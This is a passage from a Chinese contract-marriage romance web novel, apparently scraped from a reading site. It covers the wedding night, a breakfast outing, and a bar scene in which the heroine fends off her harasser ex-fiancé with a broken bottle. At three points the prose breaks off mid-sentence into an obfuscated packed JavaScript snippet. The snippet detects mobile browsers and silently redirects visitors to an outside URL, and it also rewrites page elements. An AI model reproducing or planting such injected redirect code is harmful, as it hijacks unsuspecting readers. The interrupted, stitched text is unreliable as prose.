两人刚才那一来一回,把一直站在旁边的陆沉舟和季苏都看的愣住,忍不住开始怀疑自己的判断,从未见过陆璟年还有这样一面,难道真的动了感情?来不及细想就被走在前面的陆璟年回身叫住:“大哥大嫂想什么这么入神?” 陆沉舟没说话,季苏也只是笑了笑,随口搪塞:“只是在想,今天这场婚礼你和清清满不满意。” “自然满意,清清昨天还跟我说,要好好谢谢大哥大嫂。” 当着外人陆沉舟不好甩脸色,于是又搬出那套伪善的嘴脸,“老爷子尚在病房,妈这段时间也在医院陪着,清清能想到这层,我们也很欣慰,但婚礼没能大操大办,也是有点遗憾,我和你大嫂担心会委屈了清清,等老爷子出院,到时选个好日子再补回来,如今你成家了,也算是了了爸的一桩心事。” 后半句话倒是不假,陆学谦出事前就一直记挂着陆璟年的婚事,为此也废了不少心思,不然也不会有季苏和陆沉舟后来拿着鸡毛当令箭的的精明算计。 这场婚礼是季苏点明要亲手操办的,讲着长嫂如母的那一套说辞,说什么,也好跟爸妈那有个交代,陆璟年和沈栀清两人倒乐得清闲,原本就是应付差事,不需要投入太多时间,但陆璟年还是多留了些心思,比如季苏打算邀请她娘家那边的人来婚宴,名单里其中就有那位和他相过亲的女人,陆璟年直接在名单上将人名划掉。 季苏执意筹办婚事,无非就是想在外人眼中落下个好名声,可暗戳戳搞事情的心思自然也不假,这么多年她都是如此,明一套,暗一套,陆沉舟自然不例外。即便里子都已经分崩离析,可在外人眼里陆家长子和长媳的为人依旧是典范,这就是陆沉舟和季苏这么多年努力下来的口碑。 面子这种微不足道的东西,他们要,他就给,毕竟,狼总有夹不住尾巴演不下去的那天。 忙了一天,沈栀清没吃什么东西,这会儿肚子饿的厉害,冯素月从厨房拿了点奶油蛋糕,两人坐在刚刚用来当化妆间的房间,不紧不慢地舀着吃。 冯素月看着坐在对面的沈栀清忍不住感叹:“清清,说真的,这婚纱简直和你太相衬了,不得不说陆璟年还挺有眼光。” 沈栀清举着蛋糕和叉,低头看了看自己身上的这身婚纱,前两天陆璟年托人上门量身,婚纱是昨天早晨才送到她手上的,尺寸合适,款式也好看,做工更是精巧。 “是挺好看的,就是太修身,不能吃太多。”沈栀清无奈地说。 “不过你和陆璟年刚才那一出戏是什么意思?眉来眼去的可真不像是一点感情都没有的合作伙伴。” “比这蛋糕还腻人。” 沈栀清无奈摊手,“你是不知道陆家这些人有多能演,我也是没办法啊。”入门随俗吧。 冯素月点点头,表示理解,随口说:“别演着演着当真就成。” 沈栀清表示,绝对不会。 原以为演了一天就能完美谢幕了,谁承想,陆沉舟和季苏突然改变主意打算在郊区别墅住下,还拉上了沈淮安。 如果只是陆沉舟和季苏两人还好应付点,可偏偏还有一位年近六十的老先生,和陆学谦还有陆璟年已故的母亲关系匪浅,老人家身份摆在那儿,今天的主角又是他们这对新人,如果就这么将人扔下,实在不合规矩。 “璟年,你和清清就住在你以前住的房间吧,我把江老安排在南边的客房,清清的父亲就住江老隔壁那间。” 季苏满脸笑意,说完转身下楼安排。 楼上只剩沈栀清和陆璟年两人,楼下热闹的交谈声传过来倒显得这间房子不那么冷清。 沈栀清还在可惜今晚原本打算看的那部电影,看到原本站在楼梯拐角处的陆璟年正走过来。 “抱歉,江老对我来说是很重要的人。”陆璟年同她解释,“这栋别墅是当时母亲特意请老先生过来修建,母亲去世后,他久居国外,听说我结婚特意赶来参加婚礼,所以......”当他触景生情提出打算住下一晚的时候,陆璟年没法拒绝。 毕竟这么多年过去,能记住母亲许艾的人实在已经很少,为这份情谊,他也说不出拒绝的话。 不知为何,看到他这样,沈栀清竟然有点感同身受。 “我明白也理解。”沈栀清走近他,“我们原本就是这样的关系,所以不用抱歉。” 震惊于沈栀清的通情达理,陆璟年眼含深意地望着她,最终也只说出句:“谢谢。” 两人一同下楼和长辈打招呼,陆璟年同江墨川介绍沈栀清,“江叔叔,这位就是我的妻子,沈栀清。” 即便年近六十,依旧能看出来江墨川年轻时的英俊风采,沈栀清落落大方同他打招呼:“江叔叔,您好。” 江墨川看着眼前的女孩儿,眉头舒展,忍不住笑着称赞并肩站在一起的两人,“郎才女貌。” 陆璟年会心一笑,“您说的是。” 这几天,沈栀清还是第一次看到陆璟年露出这么真心的笑意,既觉得稀奇又不免好奇这位江墨川究竟是何方神圣。 两人几乎在书房聊到深夜,沈栀清坐在旁边,起初还能听进去一点,后来困的眼皮都要睁不开,两个人说的话题都是有关建筑设计,还有一些公司管理方面的问题,沈栀清对这些不了解,听起来有点像天书,好在江墨川讲究养生,提出之后找时间再聊,他要准备休息了。 从书房出来后,江墨川同两人告别,先一步回房间,沈栀清这会儿困的脑袋已经转不动,完全忘记今晚要和陆璟年睡同一间房的事情,和他道了声晚安就拖着疲惫的身体上楼回屋。 衣柜里有提前准备好的女士用品,沈栀清有点洁癖,即便再困也要去洗个澡才能睡着,于是她拿上浴巾进了浴室,打算舒舒服服泡一会儿。 陆璟年并没马上上楼,怕她尴尬,正好有工作要处理,全都忙完后已经半个多小时,想着沈栀清这会儿应该已经睡下,便起身从书房出来,上楼回屋。 推开卧室门,并没有他想象中的安静,浴室里明亮的黄色光线透过磨砂玻璃门照到地板,隐隐有歌声混着水声从里面传出来,陆璟年无奈笑了声,将门关好,走了进去。 他对这间房子其实没什么特殊感情,唯一让他觉得亲近的就是这栋别墅是母亲曾经住过好几年的地方,后来也是从这里去世,那时候他还尚在襁褓,是个什么都不知道的婴儿。 之后,父亲再娶,外公外婆将他接到身边抚养,原本日子过的安稳幸福,却没想到在自己六岁那年,突如其来的一场车祸将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276001|198244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外公外婆也从他身边夺走,他是那场车祸唯一的幸存者,再之后,陆学谦将他接回身边,和之前无忧无虑的日子不同,陆学谦对他十分严厉,严厉到非打即骂,而他名义上的继母也就是父亲后来娶的那位,面露善意却常常在暗地挑破是非,回到陆家的每一秒对他来说都是痛苦。犹如赤脚行走在烈火之上,小的时候,他也常常怀疑自己,自暴自弃过,一个人坐在房间捱到天亮。 这么多年,他费尽心思,一步一步走到现在这个位置,所有人都说他心狠手辣,做事不留情面,他不在乎这些评价,因为他根本不需要那些所谓的情面,孑然一身对他来说是最舒服的状态。 可命运常常爱开玩笑,到最后,还是没能逃脱这一步,但婚姻是他自己选的,也算幸运。 今晚月色不错,陆璟年酒喝的多些,站在落地窗前赏景,难得放松。 沈栀清裹好浴巾从浴室出来,看到背对着自己站在窗前的陆璟年,整个人下意识往后退了退,没想到他会出现在这里,后知后觉回想起,今晚两人要在同一间房睡,想到这儿,沈栀清整个人像是刚从热水里被捞出来,耳根滚烫,心也忐忑,人在十分紧张的状态下,大脑根本不思考,她完全不敢想象接下来会发生什么事情,于是在打招呼时,下意识地喊出了那声:“小…叔。” 陆璟年听到这声称呼,从窗前转身,站在原地看着她,不知是否因为刚从浴室出来的原因,她脸颊绯红看起来像是喝醉,就连耳根都红的醒目,神情动作都有些局促,那件白色浴巾裹在她身上却像是一件精致的礼服裙,借着月色,他第一次看清楚,原来沈栀清的肤色竟可以和洁白月光比拟。 仿佛猜出她此刻所想,陆璟年动身朝她走近。 沈栀清紧张地揪着浴巾的一角,实在不敢想接下来的事,她想到两人见面谈合作的那天,合约上被划掉的几条中的其中一条就是同房问题,当时她欣然接受这条的改动,只是因为没想过事情会进展的这么快。 她看着他靠近,忍不住后退,直到整个人紧紧贴在那扇木门上,陆璟年才停下,可两人的距离已经很近,近到她可以闻到他身上好闻的沉香气还混杂着一点酒精味,不难闻,反而有些上头,她脸颊越来越烫,尤其是在看到陆璟年看向她时,丝毫不掩饰其中情欲的赤裸眼神。 安静对视的这几秒,沈栀清一颗心像要蹦出来。 “喊我什么?”他手指轻拂过她落在耳边的发丝,冰凉的指尖似有似无地触碰到她耳廓边缘,像是一根羽毛带着挑逗地撩拨,不等她回答,哑声继续:“我们当初的约定,还记得吗?” 他压迫感太强,平静相处的这几天让沈栀清差点忘了陆璟年原本的一面,可即便再紧张,她还是稳住声音,低声回:“你说,无论什么时候我都要站在你这边。” 陆璟年满意笑笑,嗓音如同一杯高度白酒,醇厚魅惑。 “看来你记得。” “记得。” “睡吧。” “......” 这怎么睡?沈栀清压根不敢动,只是揪在浴巾上的手越来越紧,陆璟年看到好笑着问她:“你想把浴巾捏碎?” 沈栀清摇头的瞬间余光瞥到陆璟年另一只伸过来的手,正犹豫要不要躲开,就听到咔哒一声,卧室门被他反锁。 沈栀清原本上头的睡意这会儿已经烟消云散。 “你...锁门做什么?”沈栀清忍不住思维发散,想着陆璟年各方面条件都不错,为何这么多年都是自己一个人?该不会是有什么特殊癖好吧?! “我...我不接受SM!”沈栀清大声提醒他。 “什么?”陆璟年原本已经打算离开的动作停住,“S|M?” 看她因为太过激动而通红的脸,表情像是一只张牙舞爪的小猫,陆璟年突然生出逗她的心思,“那你接受什么?” “我......”沈栀清没法回答。 陆璟年心情突然很好,尤其是看她这副吃瘪的模样,僵持了一会儿,见她平日里素净的一张脸,这会儿像染了胭脂似的,终于还是忍住继续逗她的心思。 “床留给你。”陆璟年说完从她面前离开,在衣柜里找到换洗衣物后径直走进浴室。 直到水流声从浴室传来,沈栀清才明白,陆璟年刚才锁门是为了两人分床睡不被发现,想到这儿,沈栀清为自己刚才的口不择言想直接挖条地洞连夜逃走,她刚才都说了些什么啊?! S|M? 亏她说的出口! 但羞愤的情绪并没维持太久,忙了一天,她是真的累了,几乎是筋疲力尽。 换好睡衣,困意再次袭来,想到陆璟年刚才那句床留给你,沈栀清站在床前仔细看了看这间卧室,床上只有一条被子,除了那张只能将将容纳她身体大小的沙发,好像只有地板是陆璟年今晚的最佳选择。想到这儿,沈栀清将被子抱起来。 陆璟年从浴室出来时就看到这一幕,地板上已经铺好了位置,诺大的床上躺着穿戴整齐,抱着浴袍一角已经睡熟的沈栀清。 她把唯一的被子留给他,还贴心的挪走了可能会磕到他的沙发,甚至将另外一条浴袍也平整地铺在那床被子上。 这边不常住人,生活用品没那么齐全,没有多余的被子,好在屋里暖风很足,浴袍的厚度已经足够,可让他意外的是,她竟然在安排好自己后还想着他,陆璟年自己都没觉察嘴角的笑意,只是轻轻走过去,俯身帮她盖好已经快要滑落到地上的那件浴袍。 7. 入迷 第二天一早,沈栀清从床上醒过来的时候,陆璟年已经不在房间,浴袍完整盖在她身上,就连那床被子也被叠好放在床的一角。她看了眼时间,起床去浴室洗漱,换好衣服下楼。 交谈的声音从楼下传来,同时还有饭菜的香气,肚子十分应景的咕咕叫了两声,沈栀清这才想起,昨晚演的太过投入,除了跟闺蜜冯素月一起吃的那块蛋糕外,再没吃别的什么东西,精神和□□一直处于高度紧绷的状态,原本想泡澡放松,又被陆璟年吓那么一下,彻底松懈后,沾床就睡了。 她睡眠还不错,昨晚更是一个梦都没做,因为看出来陆璟年不是那种会趁人之危的男人。 下到最后一级台阶时,沈栀清停下脚步用力提了口气,就像是演员开机前让自己马上进入状态的一种方法,确认自己已经调整好后才往大厅那边走,却迎面撞上正从那个方向走来的陆璟年,他手上端着盛满早餐木质托盘。 时间还早,陆璟年以为她还在睡,毕竟昨天的婚礼十分耗费精力,所以早晨起来的时候并没喊醒她,但想着她也该饿了。 “你这是?”沈栀清看着他手上端着的东西,不确定。 该不会是给她的? “你醒了。”陆璟年没理会,只问她:“想在哪儿吃?” 沈栀清心想真的可以选?虽然她真的不太喜欢睁眼就要演戏。 可如果在楼上卧室吃,是不是显得有点不礼貌?毕竟昨天那位老先生还在,又是陆璟年很看重的人。 陆璟年看出她的犹豫,猜到她在想什么,于是说:“今天一大早,已经让人将江老送去机场。”言外之意,楼下剩下的那几个人里除了沈淮安,另外两个人都不需要太放在心上。 沈栀清点点头,心里松了口气,于是又问:“那我可以选择出去吃吗?” 纵然眼前的食物再有食欲,沈栀清都只想赶紧离开这个是非之地,待得越久就越有麻烦事,尤其是那三个人凑在一起,更不会有什么好事,眼下沈淮安正盼着她跟陆璟年能尽快生个孩子,她可不想在陆璟年在场的时候谈论这个话题。 “可以。” 沈栀清听到这两个字眼睛都亮了,她道了声谢,转头上楼回卧室去拿自己的包,然后又快速下楼,一来一回惊动了原本正在客厅聊天说话的另外三人。 再下楼时,陆璟年依旧站在那儿,只是托盘不见了,沈栀清站在最后几节台阶上,陆璟年抬头看着她,朝她伸手,“走吧。” 沈栀清最开始没明白,后来在他目光落在她肩上的托特包后才反应过来,于是将包放到他手上,很小声地说了谢谢。 听到动静,坐在沙发上的陆沉舟给了季苏一个眼神,季苏立马起身,迎面撞上穿戴整齐的沈栀清和陆璟年,出声喊住:“清清,一大早这是准备和璟年去哪儿?” 陆璟年淡淡瞥了一眼季苏,不急不慢的说:“我带清清出去吃。” 季苏听完皱起眉,“家里阿姨饭都做好了,出去吃什么?” 沈淮安也忙附和一句:“清清,怎么这么多事,家里有现成的早餐非要出去吃什么?别总是麻烦人家陆总。”语气里既是责怪也是奉承。 沈栀清正打算解释几句,便听到陆璟年说:“清清认床,昨晚睡的不好,城南有家早点铺味道不错,是我想带她去尝尝。” 如此,沈淮安也不好再说什么,倒是多看了沈栀清两眼,“好好好。”脸上堆满笑。 离开前陆璟年看了一眼靠在沙发上的陆沉舟,算是打过招呼。 陆沉舟没法再说什么。 离开前沈栀清还是装装样子和陆沉舟还有季苏笑着道了别。 车子驶离好长一段距离,沈栀清才算彻底放松下来,顾不上外面的天气,她把车窗降到一半,贪婪地呼吸着外面的新鲜空气。 陆璟年从上车后就开始安静,沈栀清这会儿心里只有逃出是非之地的开心,完全顾不上他,从包里找出手机给冯素月发消息。 “今晚去我家吃火锅。” 冯素月那头回的很快。 “刚结婚就分居?” 沈栀清发了一个翻白眼的表情包。 “食材你买。” 冯素月回了一个大笑的表情包。 “遵命!” 把手机收好,沈栀清侧了侧身对正认真看文件的陆璟年说:“陆先生,您让司机把我放在好打车的地方就成。” 陆璟年抬手摘下眼镜,指尖轻捏眉心缓解疲劳,沉声问:“肚子不饿?” “我和朋友约好了,所以就不麻烦您了。”沈栀清笑着说。 陆璟年淡淡嗯了声,让司机把车停到路边。 下车后,沈栀清和陆璟年说再见,陆璟年又恢复平日里的冷淡模样,只朝她微微点头。 看着那台黑色宾利越来越远,沈栀清才算是终于活过来,抬手招辆出租车回碧玺城。 到家后,沈栀清订了经常叫的那家外卖,等早餐的时间,沈栀清打开电视找到昨晚原本打算看的那部电影,十分钟后,有人敲门,沈栀清从物业人员手中接过保温袋。 早饭吃完,沈栀清有些犯困,躺在沙发上不知不觉睡了过去,再醒来,外面天已经变黑,想到今晚和冯素月约了火锅,沈栀清拿出手机拨了电话过去。 “到哪儿了?” “堵车,估计还有二十分钟到你那儿。” “那我起锅等你。” “行,食材我都买好了,今晚喝点儿?” 说到喝酒,沈栀清突然想到前两天高中同学在微信里发的那条自家酒吧开业的朋友圈,她们之间关系不错,三个人经常结伴去学校对面的炸货店,偶尔还会在周六日约着去电子城四楼买文具,后来上了大学各奔东西,这几年除了和冯素月一直保持联系外,断断续续和很多朋友失去了联系,前两年,这位同学结婚,沈栀清和冯素月还特意腾出时间去参加婚礼。 想到好久没见了,这两天她的生活又经历了天翻地覆的变化,确实需要找个地方释放一下。 “去方黎那喝吧。” 冯素月一听来劲了,“行啊,我早就想去看看来着,听说她去年生了女儿,小家伙长得可好看了。” 沈栀清嗯了声,“那你路上注意安全,我在家等你。” 挂断电话,沈栀清去厨房的柜子里拿铜锅,还有年初去新疆采风带回来的当地火锅底料,因为味道太香且独一无二,很快见底,只剩最后一块。水烧开,沈栀清把料放进锅里煮,然后又把屋里的窗户都开了条缝,最后把卧室和书房的门关好,才安心坐回沙发上等冯素月。 二十分钟左右,冯素月准时到,一进门就把拎满手的袋子放到桌上气喘吁吁着说:“快给我倒杯水,累死我了。” 沈栀清赶紧跑到厨房给她接了杯水递过去,“你这是现去屠宰场取得肉?” 冯素月咕咚咕咚将杯子里的水喝的干干净净,“我说你邻居怎么这么没有道德心?遛狗不牵绳啊?还是大型猎犬!” 不怪冯素月,小时候被狗追了满街最后还是在脚踝上咬了一口,阴影一直到现在还没散,不管小狗还是大狗一视同仁的害怕。 “你天天出门回家的不害怕?” 沈栀清去玄关给她找拖鞋,放到她旁边,“怕啊,但也没什么办法,那对夫妻脾气可差了,因为不牵绳这件事,附近几家住户经常找物业,可物业除了多注意多提醒,也没什么别的办法。” “报警啊。”冯素月说国家明明出台相关法律了,况且城市里是不允许养大型猎犬的。 “报过,没用。”沈栀清无奈摊了摊手。 听这话,冯素月瞬间明白了,“皇亲国戚是吧。” 沈栀清摇头说不知道。那对夫妻是近半年才搬过来的,前两次冯素月没赶上那户人家遛狗,今天是赶巧遇上了。 冯素月心跳砰砰,把水杯重重放到桌上,“为了弥补我受惊的小心脏,今晚酒水你买单!” 沈栀清笑说:“没问题。” 比起火锅,高中好友新开的那间酒吧更吸引人,于是两人象征性的吃了几口,临出门前沈栀清把桌上收拾干净,火锅汤料倒进袋子里的时候还有点心疼,正对镜子涂口红的冯素月看到了走过去帮她,“你不是加店主微信了吗?” 沈栀清点点头,“就是觉得有点浪费。” “行了,别为这块火锅底料伤心了,赶紧去衣帽间,姐妹儿我给你挑身性感小裙,咱潇洒去~” 两人坐上车的时候,冯素月还在感叹:“这么多年了,你这身材依然让人看了想流口水。” 沈栀清说她不正经,冯素月就回:“我这是被你的美貌所折服。” “你也不差啊,冯大美女,肉都长在了该长的地方。” 冯素月嘿嘿一笑,“彼此彼此。” 过了晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯素月嘿嘿一笑,脸上难得多了点娇羞,“等一会儿见到,你就知道了。” 沈栀清还是头一回见到冯素月卖关子,对那位神秘人士多了点好奇,十分钟后,冯素月终于在酒吧门口的方向看到那道熟悉的身影,激动的从位置上猛的站起来,很大动作地挥手,示意人在这边。 这一举动,引起了旁边不少人的注意,但酒吧最特别的一点就是不怕闹腾,所以旁边几桌的人也只是朝她们这桌看了看,然后继续聊自己的。 唯有二楼,正对沈栀清她们那桌的方向,陆璟年和秦墨卿原本正在谈事情,听到楼下突然想起的热闹声,视线被吸引过去,秦墨卿向来对陌生人的事情不感兴趣,只看了一眼,只有陆璟年盯着那边,丝毫没有收回目光的打算。 秦墨卿瞧出不对劲,也顺着他的目光重新看过去,没正经地打趣:“怎么?刚办完婚礼就遇上让自己心动的姑娘了?”陆璟年婚礼的时候,他正好飞去国外陪爸妈,所以只听说过沈栀清却没见过人,不知道陆璟年此刻盯着的就是他那位新婚妻子。 陆璟年没理他,只颇有耐心地继续看着,和白天的规规矩矩不同,今晚她穿了件淡紫色缎面长裙,明明只露出一对圆润洁白的肩膀,除了那份独特的清冷还多了点这个年纪才有的俏皮妩媚。 “看这么入迷,要不要帮你要个联系方式?”秦墨卿心说今天真是开眼了,平日里片叶不沾身的男人,今晚竟看美女看入神。 过了会儿,陆璟年终于收回视线,晃了晃拿在指尖的玻璃花纹酒杯,威士忌在杯中摇晃,他举起,喝了一口,沉声道:“她的联系方式,我有。” 秦墨卿懵了,“什么意思?” 陆璟年将酒杯放到桌上,清脆的一声响,紧接着看向秦墨卿,两秒后,坐在对面的男人终于明白了。 “那姑娘就是和你闪婚那位?” “是。” 得到正主肯定的答案,秦墨卿哪里还坐得住,起身扶在栏杆上,趴着往下看,哪里还有一点平日里威风凛凛的大老板形象,如果不是他身上穿着的那件价格不菲的西装,只怕看到的人都会以为他是才二十出头的毛头小子, “艳福不浅啊你。” “别吓到她。” 陆璟年想到昨晚,她看到自己时,那双侵满恐惧的眼睛,脱口而出,“她胆子小。” 8. 闹剧 秦墨卿哪里从陆璟年嘴里听到过这种话,重新坐下后,好奇问:“这么快就沦陷了?” 陆璟年没点头也没摇头,只说:“合约关系,没必要牵扯太多。” 秦墨卿点点头,“也是,像你这种成天脑子里满是杀戮的人,怎么会动感情?”说完,自己也觉得刚才的举动有些好笑,拿起酒杯碰了碰陆璟年摆在桌上的酒,“我之前跟你说的那个项目,你考虑的怎么样了?” “可以是可以,但陆氏对新能源方面还处于摸索阶段,老爷子守旧,公司那些老人也还是那套老思想,所以最终究竟能不能成还要看后续的调查评估。” 秦墨卿说:“你既然这么说,那我就等好消息了。” 陆璟年看着他说:“别抱太大希望。” /// “你觉得我有希望吗?” 冯素月将后来过来的两个男生安排好后,拉上沈栀清,借口要去卫生间,一走出来就问。 “我觉得你别报太大希望。”沈栀清实话实说,按照以往冯素月谈恋爱的对象来说,刚才那男生简直不是一挂的,“你是认真的?还是想换个口味?” “都有。” 沈栀清琢磨了一下,又说:“那男孩儿看着也太纯情了,白白净净的,你说他是高中生我都信。” “他就是看着显小,纯情这一点嘛,我认可,你不知道一开始在朋友酒局上,我们一起玩游戏,用嘴传纸,他那脸红的跟西红柿似的,立马就勾起我的小心思了。” “那我祝您成功。” 冯素月倒是一点不气馁,“姐早晚把他给拿下!” 两人站在通道口聊了一会儿,冯素月着急回去找crush,正准备往回走时,刚一转身,迎面被一行满身酒气的人撞到,发生的太突然,站在外侧的沈栀清整个人结结实实被撞到,肩膀磕在墙上,骨头发出闷响,顿时红了一大片。 “清清,你没事吧?”冯素月走在里侧没被撞到,赶紧去看沈栀清的情况。 沈栀清痛的倒吸一口凉气,话都说不出。 冯素月长得文静,可实际上性格是个一点就着的炮仗,瞧见自己朋友被人撞成那样,转身一幅干架的气势就去找那群装作无事发生正准备离开的人理论。 “眼瞎啊你们?撞到人了还不道歉!”她说着就去拉为首的那个男人,就是那个男人撞到了沈栀清。 男人已经走出一段距离,对刚才的事压根没放心上,横行霸道惯了,在哪儿都以为是自己家,更别提在一个酒吧撞了一个女人,被人上手拉拽,心里除了烦躁也没别的什么情绪,原本这两天他就心情不好,抓这个硬往枪口上撞的,正愁火没地方撒呢。 男人折返回来,用力甩开冯素月拉着自己的那只手,转身正准备动手,一转眼瞥到靠在墙角的女人,那张脸,他熟的不能再熟了,即便才见过两面,可沈栀清的美貌拥有独特的记忆点,让人很难忘记。 “呦~这不是我那未婚妻嘛?” 陆奕川这几天都在外面鬼混,婚礼更是没参加,即便是口头婚约,但原本板上钉钉的事半路被人截胡,这人还是自己的亲小叔,想到这事,就觉得窝囊,这会儿看到沈栀清,更是怒意上头,想一股脑全都发泄出来。 他一步一步朝她走近,看她脸色煞白,活脱脱一个病美人,她那张清冷的脸,再加她今晚穿的这身衣服,极致的反差勾的人心跳加快,陆奕川什么美女没见过,可此刻也的确有点心动。 “你清醒点,我和你小叔已经结婚了!”沈栀清瞪着他,“你该唤我一句婶婶。” 陆奕川看着她,冷笑着说:“婶婶?你这种见异思迁的人也配?” “怎么?抛下我榜上我小叔,你们沈家,这会儿开心坏了吧?出来喝庆功酒还是偷吃来了?”陆奕川话说的很难听,“沈栀清,我还真以为你是什么高贵千金呢?原来私下里也挺玩的开!那你那天跟我装什么呢?不如今天,咱一起玩玩?也好弥补那晚的遗憾。” 陆奕川说着就要动手,沈栀清一连后退几步,躲开了,顺便拉上挡在一旁的冯素月。 “拿开你的脏手!”沈栀清这会儿已经缓了过来,她用力打掉陆奕川伸过来的的那只不怀好意的手,朝他骂了句;“滚开!” 陆奕川身边都是些和他一样的狐朋狗友,这会儿站在旁边看热闹不嫌事大,男男女女随口飙几句恶臭脏话,沈栀清懒得理,毕竟是老同学方黎开的酒吧,不打算在这里把事情闹大,影响人生意,拉上冯素月打算先离开,可没想到陆奕川今晚就像是一块儿沾上就揭不下来的狗皮膏药,狠狠拉住沈栀清,不让她走,冯素月抬起手朝陆奕川打过去,结结实实的一巴掌,用了十成力,陆奕川被打了个踉跄,站在旁边的几人见状立马上前将冯素月拉住,拖拽着到一旁,使她怎么挣扎都挣脱不开,若只是两三个人,或许豁出去还有些胜算,可对面十几个人,实在力量悬殊。 陆奕川丢了面子,自然要找回来,他捂着自己被扇的一半脸,满眼愤恨地朝冯素月走过去,正准备用力还回去,沈栀清已经挡在她跟前,用看垃圾的眼神看着陆奕川,“说到底是我们之间的事,让我朋友离开这里。” “我跟你走。” 陆奕川抬抬手,那几人顿时放开。 他的目标原本就是沈栀清,至于那一巴掌,以后找回来就是眼下最重要的是别的事。 即便心里明镜似的知道她是去叫人,可他也不怕,天塌下来有爸妈撑着,况且,谁不知道他的身份?先把这口气出了再说,事后,即便陆璟年知道了,也会看在父母的面子上简单教训教训他,总归不会为了一个才认识几天不到就结婚的女人伤了陆家的面子。 沈栀清喊了声:“月月,你先走。”眼神示意她快去找方黎,让方黎多带些人来,冯素月看懂了,可心里还是担心,不敢单独把她扔在这儿,于是沈栀清又说;“别担心,他不敢。”其实敢不敢,沈栀清也不知道,可他们人多,在酒吧,这种事除非闹大不然根本不会有人管,不能两个人都在这里做羔羊。 “走吧,咱单聊。”陆奕川满脸不怀好意,说着就要把人往外面带,沈栀清力气不及他,被拖拽了几步,踉跄着有点狼狈,但脑袋里却在想办法,眼看着就要被陆奕川拉出去,一筹莫展之时,恰好身边有端着酒水的侍者经过,沈栀清动作迅速用另一只手从侍者的盘中拿起一瓶酒,重重砸在墙面,玻璃炸碎的声音在耳边轰然响起,暗红的液体犹如血雨打落在她和陆奕川的身上,这一响动引起旁边桌的注意,同时也吸引了已经走到门口正准备推门离开的陆璟年和秦墨卿。 “有热闹。”秦墨卿今晚兴致不错,看了眼身旁的陆璟年,“去看看?” 陆璟年向来对陌生人的事不关心,淡淡瞧他一眼,“没那么闲。”说着推门离开。 一个人看没意思,秦墨卿正欲追上他,透过人群中的一点缝隙突然看到一抹身影,恍然想到什么,快步朝那边走过去。 沈栀清根本顾不上那些盯在自己身上的目光,耳边是陆奕川极其不耐烦的一句粗口,慌乱中,沈栀清将布满荆棘的那一段,直直划向陆奕川拉拽自己手腕的胳膊上,鲜红的血顺着衣衫流了下来,陆奕川被痛到猛然松开,手捂住受伤的那只胳膊,嘴里骂着,给了旁边人一个眼神,一群人作势就要上去抓她,沈栀清这会儿已经有点失控,肾上腺素飙升,完全顾不上任何,这种感觉有点像小时候看到韩静初让人把母亲的画室清理干净换成婴儿房的时候,她当时也闹了好大一通,后来那间房被空置到现在,谁也不能进。 她高高举着满是玻璃茬的瓶口,来回挥舞着,那些人都忌惮这尖锐的东西,生怕自己受伤,不敢靠近,直到陆奕川再次给出信号,沈栀清径直将瓶口怼到他脖子上,在距离还有1cm的位置停下。 秦墨卿原本想上前的动作挺住,从西服口袋拿出手机拨了电话,“今天这热闹你要不看,后悔一辈子。” 电话那头,陆璟年明显不耐烦:“很闲?” 秦墨卿嗯了声,“那姑娘叫什么来着?沈栀清是吧?让你家那混小子——” 听筒传来嘟嘟嘟的忙音,秦墨卿有些好笑的看了眼手机屏幕。 陆奕川已经被吓的整个人都后退到墙角,但碍于面子,依旧大言不惭。 “沈栀清,杀人犯法,要坐牢的,我不信你真有这胆量!” “真他妈以为陆璟年是真心喜欢你呢?还一见钟情,听了就想笑,他那是为了恶心我们一家!” “别太把自己当回事了。” “他是陆家人,你真敢动我,你试试他会站在谁那边!” “......” 陆奕川喋喋不休个没完,这让沈栀清很头疼。 她当然没打算真杀了他,为这么个人渣实在不值,她只是想保护自己,陆奕川在外蛮横惯了,刚才如果真的被他拉出去,简直不敢想象会发生什么事,只是没想到这人是块硬骨头! 围观的人越来越多,直到看见冯素月和方黎带着安保急匆匆跑过来的身影,她心里这才松下一口气,陆奕川还在骂,且骂的越来越难听,沈栀清不打算跟这种无赖继续纠缠下去,后续的事情交由酒吧安保人员处理就好,可安保人员刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276003|198244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将那些人围住,就听见陆奕川大喊大叫着:“我看你们谁敢动我!”这话说完,旁边有人认出这位陆家的小少爷,陆奕川名声在外,被来的那些人听到,便没人敢上前继续淌这混水。 冯素月和方黎被挡在外面,只能干着急。 沈栀清站在原地有些为难,举着的手不敢轻易放下,成了死局,一筹莫展之时,身后突然窜出一个人影,握住她的手将尖锐酒瓶重新怼到陆奕川脖颈处。 “别别别!” 在看清那人是谁后,陆奕川彻底被吓到,或许沈栀清不敢,但他这位小叔未必。 耳边响起一道熟悉的声音,低沉着犹如恶魔低语:“如果你想,也不是不可以。” 沈栀清没想到陆璟年会出现在这里,感觉到手掌被他带着在慢慢向上移,一点一点靠近,直到—— “想吗?” 